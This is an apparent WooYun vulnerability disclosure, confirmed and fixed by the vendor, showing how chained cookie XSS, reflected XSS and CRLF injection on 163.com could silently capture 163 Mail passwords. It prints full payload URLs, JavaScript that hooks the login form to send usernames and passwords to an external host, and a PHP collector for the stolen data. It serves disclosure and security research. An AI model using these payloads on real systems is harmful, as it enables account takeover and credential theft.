当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167493

漏洞标题:一个可大规模隐蔽窃取163邮箱用户密码的漏洞(无需点击)

相关厂商:网易

漏洞作者: wolf

提交时间:2016-01-05 15:12

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-05: 细节已通知厂商并且等待厂商处理中
2016-01-06: 厂商已经确认,细节仅向厂商公开
2016-01-16: 细节向核心白帽子及相关领域专家公开
2016-01-26: 细节向普通白帽子公开
2016-02-05: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

163邮箱XSS rookit 用户无需特意打开攻击链接,上网过程中可能就被窃取明文账号密码。

详细说明:

分析mail.163.com 整个流程页面中输出cookie的地方
发现首页历史记录为输出cookie nts_mail_user的值
构造测试
根据其生成格式,修改cookie nts_mail_user的值为<img>:-1:1

echo_test.jpg


可看到页面会输出其内容

搜索分析输出点.jpg


分析此处为innerHTML的xss,可采用<img>标签来执行js脚本
构造测试
修改cookie nts_mail_user的值为<img src=1 onerror=alert(1)>:-1:1

img_test_alert.jpg


成功触发
继续修改让其执行远端的js文件

<img src=1 onerror="with(document)body.appendChild(createElement('script')).src='//txt888.sinaapp.com/test.js?31'">:-1:1


img_eval_urljs.jpg


成功载入执行了我们远端自定义的js
此处已类似 http://wooyun.org/bugs/wooyun-2010-0127985 提到的问题
如何构造设置cookie呢,根据文中所说,我们可以使用xss来设置
这里神器伏宸自动化渗透测试平台已扫描出多个163.com域名下的反射型xss漏洞,提取一个测试一下。
构造

http://m.auto.163.com/title/compare/000BNOUZ,000BNeDG,000BWPNE.html?type=selectseries"><script src="//txt888.sinaapp.com/js.js"></script>&series_name=%E5%A5%94%E9%A9%B0G%20AMG&series_id=16354&first=true


js.js内容

function fSetCookie(c, e, d) {
var a = ";domain=" + d +";path=/" ;
document.cookie = c + "=" + e + a + ";expires=" + new Date(2099, 12, 31).toGMTString();
}
fSetCookie("nts_mail_user","<img src=1 onerror=\"with(document)body.appendChild(createElement('script')).src='//txt888.sinaapp.com/test.js?31'\">:-1:1",".163.com")


xss_set_cookie_ok.jpg


xss_set_cookie_good_alert.jpg


成功利用xss设置攻击cookie并触发
现在如何截取用户名密码呢
在wooyun zone搜索了下 有很多办法以及长短短的xss.js。
这里为了方便,采用的是给表单增加onsubmit的方式
拦截登录js代码

function login_1(){
a = new Image();
a.src = "http://txt888.sinaapp.com/form_save.php?user=" + document.getElementById("idInput").value + "&password=" + document.getElementById("pwdInput").value;
window.location.href=window.location.href;
return true;
}
document.getElementById("idInput").value=""; //设置历史用户名为空,不设置为那一串攻击代码,修改防止露馅。
document.getElementById('idInputTest').innerHTML = '';
document.getElementById("login163").setAttribute("onsubmit","login_1();");//给登录框添加onsubmit事件
fSetCookie("nts_mail_user",document.getElementById("idInput").value + ":-1:0");//复原


http://txt888.sinaapp.com/form_save.php为保存截取账户信息页面
form_save.php 代码

<?php
function insert($data){
$mysql = new SaeMysql();
$sql = "insert into 163_test(`data`,`time`) values('$data',now())";
$mysql->runsql($sql);
$mysql->closeDb();
if ($mysql->errno() != 0){
die("Error:" . $mysql->errmsg());
}
}
if (count($_GET)>=1){
$data = json_encode($_GET);
insert($data);
echo 1;
}
?>


测试
访问

http://m.auto.163.com/title/compare/000BNOUZ,000BNeDG,000BWPNE.html?type=selectseries"><script 
src="//txt888.sinaapp.com/js.js?555"></script>&series_name=%E5%A5%94%E9%A9%B0G%20AMG&series_id=16354&first=true


good_1.jpg


再访问mail.163.com登录

good_2.jpg


输入用户名密码登录

good_3.jpg


成功截取到明文用户名密码。
到这里就结束了吗,no!
这种攻击方式需要受害者访问我们的链接,成功率低,而且太明显。
怎么让受害者无需点击我们的链接,不知不觉中被窃取呢
这里就要用到一种比较少被提到的漏洞 —— CRLF
详情可看phith0n牛的文章介绍 http://drops.wooyun.org/papers/2466
这里神器伏宸自动化渗透测试平台也已找出多个CRLF漏洞,拿一个测试
访问

http://reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:test%3d123123&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh


crlf_test.jpg


可以看到set了我们一个自定义的cookie值,并且域为根域名,可直接提供给mail.163.com使用
构造

http://reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:nts_mail_user%3d%3Cimg%20src%3D1%20onerror%3D%22with%28document%29body.appendChild%28createElement%28%27script%27%29%29.src%3D%27%2f%2ftxt888.sinaapp.com%2frookit.js%3F31%27%22%3E%3A-1%3A1;&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh


crlf_daxie.jpg


这里nts_mail_user 的nts被转换为大写了,不知为何,如何绕过呢。
增加空格%20试试

http://reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:%20nts_mail_user%3d%3Cimg%20src%3D1%20onerror%3D%22with%28document%29body.appendChild%28createElement%28%27script%27%29%29.src%3D%27%2f%2ftxt888.sinaapp.com%2frookit.js%3F31%27%22%3E%3A-1%3A1;&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh


crlf_ok.jpg


访问查看 这里成功添加了_nts_mail_user 不再出现大写,但多了个下划线,怎么办呢,经过测试,下划线并不影响其程序获取(不知为何,难道是BUG或者是其程序获取cookie的姿势有问题)。
再访问mail.163.com试试

crlf_mail_ok.jpg


确定_nts_mail_user可被使用
构造:

<img src="//reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:%20nts_mail_user%3d%3Cimg%20src%3D1%20onerror%3D%22with%28document%29body.appendChild%28createElement%28%27script%27%29%29.src%3D%27%2f%2ftxt888.sinaapp.com%2frookit.js%3F31%27%22%3E%3A-1%3A1;&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh">


访问测试

crlf_img_test.jpg


成功添加cookie
也就是说只要能插入访问外部网络资源的地方就可以插入攻击代码(图片,视频,flash等等),在受害者上网过程中不知不觉中就被窃取账号密码。
测试
例如DZ的论坛
添加网络图片 地址填

http://reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:%20nts_mail_user%3d%3Cimg%20src%3D1%20onerror%3D%22with%28document%29body.appendChild%28createElement%28%27script%27%29%29.src%3D%27%2f%2ftxt888.sinaapp.com%2frookit.js%3F31%27%22%3E%3A-1%3A1;&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh#.jpg


crlf_dz_ok.jpg


测试访问,成功添加cookie
这里园长MM客串一下,作为一个普通用户正常查看帖子
后其登录163邮箱

163_ok.jpg


163_login.jpg


整理:攻击流程,在社交论坛,贴吧,空间等可添加外部资源的地方插入攻击代码(图片),受害者在正常使用论坛查看帖子或其他无意中触发攻击代码,触发后其下次登录163邮箱时用户名密码将会被截取发动至攻击者指定的地址中。

漏洞证明:

修复方案:

版权声明:转载请注明来源 wolf@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-01-06 21:29

厂商回复:

该漏洞已修复,白帽子漏洞细节描述非常清楚,对一些中低危漏洞的利用非常巧妙,给我们在业务安全上提供了很好的思路与经验,非常感谢!

最新状态:

暂无